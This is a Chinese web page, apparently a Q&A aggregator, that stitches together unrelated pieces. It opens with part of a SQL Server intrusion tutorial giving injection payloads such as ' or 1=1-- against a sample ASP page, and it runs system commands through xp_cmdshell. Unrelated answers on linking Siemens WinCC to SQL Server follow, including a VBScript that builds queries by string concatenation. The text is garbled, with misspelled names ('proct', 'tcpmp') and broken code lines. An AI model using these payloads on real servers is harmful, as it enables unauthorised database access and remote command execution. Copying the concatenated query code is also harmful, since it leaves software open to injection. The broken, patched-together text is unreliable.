黑客SQL伺服器入侵實戰演習(二)
3.1為什麼使用的是' or 1=1--呢?
讓我們來看看其他例子中使用'or 1=1--的重要性吧。有別於正常的登陸方式,使用這樣的登陸方式可能得到正常登陸中不能得到的某些特殊信息。用一個鏈接中得到的ASP頁來打比方:
http://ck/index.asp?category=food
在上面這條URL中,'category'是一個變數名,而'food'是賦予該變數的值。為了做到這些(鏈接成功),
這個ASP必須包含以下相關的代碼(下面也是我們為了演示這個實驗所寫的代碼):
v_cat = request("category)
& v_cat & "'
set rs=conn.execute(sqlstr)
正如我們所看到的,變數值將會預先處理然後賦值於'v_cat',也就是說該SQL語句將會變為:
SELECT * FROM proct WHERE PCategory='food'
這個請求將會返回通過WHERE條件比較後得到的結果,在這個例子中也就是'food'了。現在設想一下如果
我們把該URL改成這樣的話:
http://ck/index.asp?category=food' or 1=1--
現在我們的變數v_cat的值就等同於"food' or 1=1--了,現在如果我們要重新代入那條SQL請求的話,
那條SQL請求將會是:
SELECT * FROM proct WHERE PCategory='food' or 1=1--'
現在這個請求將會從proct表中選取每一條信息而並不會去理會PCategory是否等於'food'。至於結尾部分的那兩條'--'(破折號)則用於『告訴』MS SQL SERVER忽略結尾最後的那個'(單引號)。有的時候也可以使用'#'(井號)來代替'--'(雙破折號)在這里的用法。
無論如何,如果對方不是一台SQL伺服器(這里指的是MS SQL SERVER),或者你不能使用簡單的方法去忽略最後的那個單引號的話,你可以嘗試:
' or 'a'='a
這樣的話整個SQL請求將會變為:
SELECT * FROM proct WHERE PCategory='food' or 'a'='a'
它也會返回相同的結果。
根據實際情況,SQL注入請求是可以有多種動態變化的可能性的:
' or 1=1--
"a
') or ('a'='a
4.0如何在SQL注入請求中加入即時執行命令?
能夠進行SQL注入的伺服器通常都是一些疏於做系統性配置檢查的機器,此時我們可以嘗試使用SQL的命令執行請求。默認的MS SQL伺服器是運行在SYSTEM用戶級別下的,這等同於系統管理員的執行與訪問許可權。我們可以使用MS SQL SERVER的擴展儲存過程(如master..xp_cmdshell等)來執行遠程系統的某些命令:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
若失敗可以嘗試一下使用(雙引號)代替'(單引號)。
上面例子中的第二個冒號代表一句SQL請求的結束(也代表了它後面緊跟著一條新SQL命令)。若要檢驗上面這條PING命令是否成功,你可以在10.10.1.2這台機器上監聽ICMP請求包,並確認它是否來自那台SQL伺服器就可以了:
#tcpmp icmp
如果你不能從那台SQL伺服器中得到PING請求的話,並在SQL請求的返回值中得到錯誤信息的話,有可能是因為該SQL伺服器的管理員限制了WEB用戶訪問這些儲存過程了。
5.0如何可以獲取到我發的SQL請求的相關返回信息呢?
我們可以使用sp_makewebtask處理過程的相關請求寫入URL:
"SELECT * FROM INFORMATION
_SCHEMA.TABLES
但先決條件是目標主機的文件夾「share」屬性必須設置為「Everyone」。
『貳』 wincc和SQL資料庫連接
樓主現在解決了吧,分享一下成果啊
『叄』 如何用SQL語言從wincc資料庫獲取數據,實時獲取與獲取保存的數據有什麼區別
步驟1:在SQLSERVER中設一個遠程登陸的賬號sa, 密碼也設置xxx(自己定)
(SQL配置管理器中,把通信協議TCP/IP相關的服務都啟用
在SQL中,安全性---登陸賬號---SA的屬性---狀態—啟用授權登陸和允許訪問SQLSERVER引擎 )
以上設備和配置保證模仿遠程用戶來我這個計算機SQLSEVER伺服器訪問資料庫.
二 載入系統的類包/名字空間
using System.Data;
using System.Data.SqlClient;
三 建立連接對象sqlconnection 專門負責與資料庫伺服器連接
四 定義一個sqldatareader對象,專門從資料庫指定表中讀出數據
五 定義一個SQL查詢命令對象 sqlcommand ,讓它負責從資料庫去操作讀,並把讀到結果數據交給sqldatareader對象
protected void Button1_Click(object sender, EventArgs e)
{
String mys = "xxxx;database= xxxx; User ID=xxx;pwd=xxxx;Trusted_Connection=no"; //連接串
SqlConnection myc = new SqlConnection(mys); //定義一個連接對象myc,負責去連接mys串定義的伺服器和資料庫
myc.Open();
Response.Write("連接成功");
//准備讀出數據
SqlDataReader myread;
string sql="查詢語句";
SqlCommand mycom = new SqlCommand(sql , myc);
//定義mycom,在myc這個數據連接中去執行指定的select查詢命令
myread = mycom.ExecuteReader(); //把mycom的執行查詢的結果數據交給myread
while (myread.Read()) //遍歷表中的所有行,read( )一次,可讀一行,往下跳
{
//從查詢結果中取一行出來
for (int i = 0; i <myread.FieldCount ; i++)
Response.Write(myread[i].ToString());
Response.Write("<br>");
}
myc.Close();
}
『肆』 如何將wincc 變數數據外發SQL
在SQL建立資料庫表格及相應的欄位,在要寫數據的地方編寫腳本,即可外發SQL。
『伍』 wincc audit怎麼建立資料庫
1、 設置用戶信息
計算機->右鍵管理(G)->本地用戶和組->當前登錄用戶名如[Dell] ->右鍵屬性->只勾選密碼永不過期(同時對其他用戶勾選:賬戶已禁用)
.png
2、 設置資料庫信息
打開SQL Server Management Studio->
.png
Connect建立鏈接
『陸』 sql server資料庫與工業實時資料庫,如winCC組態軟體配置的實時資料庫,如何實現數據通信
目前幾乎所有
組態軟體
都支持ODBC指令,用這些指令可以對各類資料庫進行讀、寫、增加、刪除等操作。不同軟體的做法不同,但道理都差不多,每一種組態軟體都有專門章節指導。
一般情況下,步驟是:1建立一個資料庫
2定義數據源:進入「控制面板」中的「管理工具」,用滑鼠雙擊「數據源
(ODBC)」選項,彈出「
ODBC數據源
管理器」。3在組態軟體中引用
資料庫操作
指令,操作已經定義好的資料庫。
請參考組態軟體說明書。
給10分行不行?
『柒』 SQL server 作為OPC客戶端,重新規劃wincc資料庫
你安裝一般的microsoft
sql
server時候,在可以填的地方填上wincc,這樣就可以安裝wincc6.0
最好去下載個microsoft
sql
server
for
wincc,這樣裝沒有那麼麻煩也降低產生錯誤的可能
『捌』 用SQL建立一個本地資料庫,然後和WINCC建立連接,然後用VB讀取和修改SQL資料庫裡面內容,最好是實例。
具體操作修改一下連接字元串和sSql里的命令就可以了
Dim sCon
Dim sSql
Dim oRs
Dim conn
Dim oCom
Dim Con
Dim Data1, Data2, Data3
『讀取wincc變數
Data1=HMIRuntime.tags("編號").read
Data2=HMIRuntime.tags("姓名").read
Data3=HMIRuntime.tags("年齡").read
『連接資料庫
Con="Provider=SQLOLEDB.1;Integrated Security=SSPI;Persist Security Info=False;Initial Catalog=讀寫資料庫;Data Source=.\WINCC"
Set conn = CreateObject("ADODB.Connection")
conn.ConnectionString = Con
conn.CursorLocation = 3
conn.Open
『寫入資料庫
sSql="insert into個人信息VALUES('" & Data1 & "','" & Data2&"','"&Data3&"');"
Set oRs = CreateObject("ADODB.Recordset")
Set oCom = CreateObject("ADODB.Command")
Set oCom.ActiveConnection = conn
oCom.CommandType = 1
oCom.CommandText = sSql
Set oRs = oCom.Execute
Set oRs = Nothing
conn.Close
Set conn = Nothing
『玖』 如何通過ODBC將WINCC數據寫入SQL資料庫中
Wincc 本身自帶集成的SQL資料庫,視版本不同而有所不同。所有歷史數據都可以存在變數歸檔中。如果需要製作報表等,可利用用戶歸檔。如果是因第三方需要則可通過OPC協議進行通訊。
現在西門子推出PH(Process Historian)取代了原來的CAS(中央歸檔伺服器),同步推出了Information Server(信息伺服器)。PH伺服器就是基於SQL Server2008R2 SP1,但區別商用資料庫,這種是定製版,結構上有所差別,支持TimeStamp毫秒級別。你可以通過直接訪問PH來獲取你所需數據。你可以到西門子自動化官網查找相關資料或咨詢西門子客服。所以你沒必要做這種重復性的工作,而且也得不到你想要的數據,還是利用PH伺服器這種結構為妙。
『拾』 怎麼從wincc中寫數據到SQL
首先在SQL建立資料庫表格及相應的欄位。在要寫數據的地方編寫腳本,VB,VC腳本都可以。一般採用ADO連接比較方便些。腳本的編寫方法和VB基本相同。只是要事先聲明變數與WINCC的控制項數據或WINCC的變數連接並讀取控制項或變數的數據。不需要任何輔助軟體。